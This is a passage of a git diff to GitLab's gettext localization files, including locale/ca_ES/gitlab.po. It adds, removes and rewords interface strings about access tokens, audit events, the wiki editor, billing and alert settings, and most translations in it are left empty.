msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33511,9 +33310,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33598,7 +33394,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34339,9 +34135,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34426,9 +34228,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34528,9 +34327,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34543,6 +34351,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34591,6 +34402,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35071,12 +34891,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35167,21 +34981,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35317,9 +35116,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35656,9 +35452,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35788,6 +35590,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36085,9 +35890,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36097,9 +35899,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36181,9 +35989,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36271,6 +36076,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36289,9 +36097,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36325,6 +36130,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36394,7 +36202,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36535,7 +36346,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36667,6 +36478,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36967,6 +36781,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36976,6 +36799,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37177,7 +37003,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37198,6 +37024,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37213,16 +37042,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37237,10 +37066,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37510,6 +37345,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37549,9 +37387,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37729,21 +37564,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37807,9 +37639,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37969,12 +37798,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38002,18 +37825,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38026,12 +37843,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38101,12 +37912,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38191,6 +38008,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38200,6 +38020,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38293,6 +38116,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38350,12 +38176,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38380,6 +38215,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38398,9 +38236,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38704,6 +38539,9 @@ msgstr ""
msgid "created"
msgstr "kreirano"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38791,6 +38629,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38872,9 +38713,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "grupa"
@@ -39262,6 +39100,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39298,9 +39139,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39361,7 +39199,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39442,7 +39280,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39505,6 +39346,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39793,6 +39637,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39895,6 +39742,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index a1568f3e06b..6f2e572fc48 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:36\n"
+"PO-Revision-Date: 2021-07-01 21:20\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " Des de %{start} fins %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "AddMember|No s’ha especificat cap usuari."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
